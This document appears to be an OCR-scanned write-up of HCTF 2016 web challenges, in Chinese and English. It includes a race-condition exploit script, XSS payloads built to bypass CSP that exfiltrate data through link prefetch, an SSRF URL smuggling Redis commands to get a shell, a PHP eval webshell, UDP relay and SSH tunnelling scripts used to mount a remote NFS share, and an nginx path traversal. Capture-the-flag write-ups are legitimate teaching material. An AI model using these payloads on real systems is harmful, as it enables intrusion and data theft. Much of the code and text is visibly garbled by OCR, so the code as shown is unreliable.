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20994 i) flag

only ios99 can get flag(Maybe you can easily get the flag in 2099

Eﬁﬂ:ua:

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone 0S 99 © like Mac 0S X) AppleWebKit/536.26 (KHTML, like Gecko)

RESTFUL

&y X ouput, %8 J5/money/100000

_pnew | nsausis | nea |

_pnaw| nsausi> | nea |

PUT /index.php/money/1000000 BTTP/1.1

Host: jinja.hctf.io

BAccept: */%

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.98 Safari/537.36

Referer: http://jinja.hctf.io/

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-ClN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4

Connection: close

giligili

T

HTTP/1.1 200 OK

Date: Mon, 28 Nov 2016 04:36:50 GMT
Server: Apache/2.4.10 (Debian)
Bccess-Control-Allow-Orgin: *
Access-Control-Allow-Methods: *
Content-Length: 64

Connection: close

Content-Type: application/json

{"message”:"\"Your flag is hctf{Do_you_know_124502} web dogt\""}
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<script type="text/javascript">
// Come on and get flag:>

var

{ 0x4cl19cff: "random", ©x4728122: "charCodeAt", ©x2138878: "substring", @x3cad9c7b: "toS
[ ox4c19cff, ox3cfbdéc, @xb3f970, 0x4b9257a, ©x1409cc7, Ox46e990e, 0x2138878, 0Ox1el049,
var a, b, ¢, d, e, f, g, h, i, j, k, 1, m; n, o, p, q, r, s, t, u, v, w, X, y, Z;
function check() {

var answer = document.getElementById("message").value;

var $

var correct = (function() {

try {

h = new MersenneTwister(parseInt(btoa(answer[_[$[6]]](0, 4)), 32));

h[_[$[""+ +[11110)*(""+{})[_[0x4728122]](@xc); for(var _1=0; _1<h.mti; _1++) {
= new MersenneTwister(e), v = true;
.random(); l.random(); 1l.random();
= answer.split("_");
= l.mt[~~(h.random()*$[Ox1f])%0xFf];
= ["ex" + i[_[$[$.1length/2]]](6x10), "Ox" + e[_[$[$.length/2]]](0020).split("-")[
=- (this[_[$[42]]11(_[$[31]11(o[1])) ~ s[@]); if (-e != $[21]) return false;
A= (this[_[$[42]]11(_[$[31]1](o[2])) ~ s[1]); if (-e !'= $[22]) return false; e -= 0@
= new MersenneTwister(Math.sqrt(-e));
.random();
= l.random();
.random();
= [ oxb3f970, 0x4b9257a, 0x46e€990e ].map(function(i) { return $[_[$[40]]1](i)+ +1+
[0] = o[@].substring(5); o[3] = o[3].substring(®, o[3].length - 1);
= (a * i); if (o[@].length > 5) return false;
= parseInt(_[$[23]]("1", Math.max(o[@].length, o[3].length)), 3) ~ eval(_[$[31]](
= (h.random() * l.random() * t.random()) / (h.random() * l.random() * t.random())
= ~r;
= (h.random() / l.random() / t.random()) / (h.random() * l.random() * t.random())
= ~ap;
+= _[$[31]](0o[3].substring(o[3].1length - 2)).split("x")[1]; if (parseInt(a.split(
= parseInt(a, 16) == (Math.pow(2, 16)+ -5+ "") + o[3].charCodeAt(o[3].length - 3)

= Oxffff;
= (p = (f = _[%$[23]](o[3].charAt(o[3].1length - 4), 3)) == o[3].substring(1, 4));
= 3

= [$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[@
= ((31249*g) & i).toString(16);
= [$[31]]1(o[3].split(f).join("").substring(@, 2)).split("x")[1];
=1 == h;
return (p & t & s & d) ===1 || (p & t & s & d) === true;
} catch (e) {
console.log("gg");
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return false;

}
»NO;s

document.getElementById("message").placeholder = correct ? "correct" : "wrong";
if (correct) {
alert("Congratulations! you got it!");

} else {
alert("Sorry, you are wrong...");
}
¥
</script>
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#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import uuid
import re

import threading

url = "http://changelog.hctf.io/register.php"
urll = "http://changelog.hctf.io/login.php"
url2 = "http://changelog.hctf.io/index.php"

username =

session =

def sess():
r = requests.get(urll)
m = re.search('PHPSESSID=(.*?);"',r.headers['Set-Cookie'])
if m:
return str(m.group(1))

def regist():
global username,session
while True:

data = {
'username'’ : username,
'password' : '1°',
'gogogo' : 'Hj!',

}

cookie = {
'PHPSESSID' : session



r = requests.post(url, data=data, cookies=cookie, timeout=3)
if '"§¥' in r.content:

print "Error."
print r.content

def login():
global username,session

while True:
datal = {
'username' : username,
'password’ : '1',
'gogogo' : 'Hj!',
}

cookiel = {
'"PHPSESSID' : session

rl = requests.post(urll, data=datal, cookies=cookiel, timeout=5)
content = rl.content

print "login: + username + '-' + session
if 'gogogo' not in content:

print content

if 'hctf' in content:
print content * 10

if 'zero' in content:
print 'aaaa'
username = str(uuid.uuid4())
session = sess()

username = str(uuid.uuid4())
session = sess()

def main():
threadpool=[]

for n in xrange(10):
th = threading.Thread(target=1login)
th.setDaemon(True)
threadpool.append(th)

for n in xrange(2):
th = threading.Thread(target=regist)
th.setDaemon(True)
threadpool.append(th)

for th in threadpool:
th.start()

for th in threadpool :
threading.Thread.join(th)

if _name__ == '_main__':

main()

E1 psy congroo
login: 5731f6¢c

hctf{faster_than_everyone}
: hctf{faster_than_everyone}Hello, 5731f6c 5731f6c0-4de

veryone}Hell 731 4ded-4769-84d7-23
eryone}Hello
6c0-4de4-4769-8
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substr(md5($code),0,4) =="xxxx'

<?php

$a = $argv[1];

for($i=1;$i<1000000;$i++){
if(substr(md5($i),0,4) == $a){

echo $i;
exit();
}
}
echo "ok";

PP B — B AT 1.

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstat

i UM ER S csp.

<scrscriptipt>var n@t = document.createElement("1lilinknk");n0@t.setAttribute("rel", "prefetch");not.setAttri

[27/Nov/2016:14:02:29 +0800] "GET /aaat HTTP/1.1" 404 433 "http://guestbook.hctf.io/admin_lorexxar.php" "Mo

secret area

& —>csp.

Content-Security-Policy:default-src 'self'; script-src http://sguestbook.hctf.io/static/ 'sha256-n+kMAVS5Xj

L AER R S /2. http://sguestbook.hctf.io/static/
W INEAE XA B 5% T .

XA H s — A redirect.php,  F R BkEE 2= 048

<scscriptript src=http://sguestbook.hctf.io/static/redirect.php?u=http://sguestbook.hctf.io/upload/a3264275

<scscriptript src="http://sguestbook.hctf.io/static/..%2fupload/a32642750cae25f4c5b020d9a66c5c5¢c"></scscrip
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var ndt = document.createElement("1link");n@t.setAttribute("rel", "preload");net.setAttribute("href", "//ipi

AT field1

HEPER127.0.0. 8L AT LA 1o UM i HTip, B0 B3> 302BkHE#R1T .

AT field2

PN I BL T A7 (E — i redis. R AT urllibffihost ] LA 8kssrf, 31 Beitiredis o] LA 3 — 4 shell

https://security.tencent.comv/index.php/blog/msg/106

http://192.168.0.10%25250d%25250a%252a3%25250d%25250a%2525243%25250d%25250aset%25250d%25250a%2525241%25250d

PREGE L B B

http://120.27.122.0/index.php~
<?php

echo "welcome to aklis's bowl";
@eval($_GET['aklis']);

KIN192.168.0.17F78 1 111, 204935 H
NS BRI ik 57 —Ludp e, ARBRSE — L TR AT .
H oSS %



import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('0.0.0.0', 111)

dst_addr = ('0.0.0.0"', 11111)

sock_src.bind(recv_addr)

sock_dst.bind(dst_addr)

while True:

print('waitting for OK from client')
_, addr_dst = sock_dst.recvfrom(65565)
if _ == 'OK':

print('OK recieved from {@}'.format(addr_dst))
data, addr_src = sock_src.recvfrom(65565)
print('send: {@!r} to {1}'.format(data, addr_dst))
sock_dst.sendto(data, addr_dst)

data, _ = sock_dst.recvfrom(65565)
print('received: {@!r} from {1}'.format(data, _))
port = struct.unpack('!i', data[-4:])[0]
sock_src.sendto(data, addr_src)

print('PORT: {@}'.format(port))

sock_src.close()
sock_dst.close()

TN H AR 55 %



import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('vps-ip', 11111)

dst_addr = ('192.168.0.1', 111)

while True:

try:
print('send OK to {@}'.format(recv_addr))
sock_src.sendto('OK', recv_addr)
data, addr_src = sock_src.recvfrom(65565)
print('send: {@!r} to {1}'.format(data, dst_addr))
sock_dst.sendto(data, dst_addr)
data, _ = sock_dst.recvfrom(65565)
print('received: {@!r} from {1}'.format(data, dst_addr))
sock_src.sendto(data, addr_src)

except KeyboardInterrupt:
sock_src.sendto('CLOSE', addr_src)

break

sock_src.close()
sock_dst.close()

FHERIE CE3 N Atk 111, 892, 2049
ps: MR FL & 1754280, 40878, 111, 892, 2049

ssh vps_ip -lroot -R111:120.27.122.0:111 -CNfg

=, =, EEEERE, FRAMIP(120.27.122.0)/ 5/ T T, FfLAA 2 7 % F python?Eshell F i 454 %
—TFHlvps, HiE192.168.0.1112049% Flvps-ipl12049, |1 F24120.27.122.064 11156 % B4 #1911

showmount -e 127.0.0.1
mount -t nfs -o nolock 127.0.0.1:/var/nfs /tmp/a

[root@iZ28cnimarpZ al# showmount -e 127.0.0.1

ERpbort list for 127.0.0.1:

/var/nfs *

[root@iZ28cnimarpZ al# mount -t nfs -0 nolock 127.0.0.1:/var/nfs /tmp/a

[root@iZ28cnimarpZ al# 1s
[root@iZ28cnimarpZ al# cd /tmp/a
[root@iZ28cnimarpZ al# 1s
default.conf flag hacked by firesun
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location ~ \.php$ {
#proxy_pass http://127.0.0.1;
fastcgi_index index.php;
include fastcgi_params;

location /static {
alias /var/www/static/;
autoindex on;

SR J5 nginx/&/static/ /var/wwwi/static/ [ 51 4, SRR 1] 1 /static../

g B 25 1A T Ivarlwwwistatic/../, Wit Estaticft F—2% H 5% .

root@ubuntu: /tmp# proxychains curl "192.168.0.6/static../";
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-115.29.36.83:1080-<><>-192.168.0.6:80-<><>-0K
<html=>

<head><title=Index of /static../</title></head>

<body bgcolor="white"=>

<hi>Index of /static../</hl><hr><pre><a href="../">../<fa>

<a href="static/">static/</a> Z4=ilov-2016 18:55
<a href="hctf%7Bwo_gai_liu_tiao_huo_lu%7D">hctf{wo_gai_liu_tiao_huo_lu}</a> 24-Nov-2016 19:06
</pre><hr></body>

</html>
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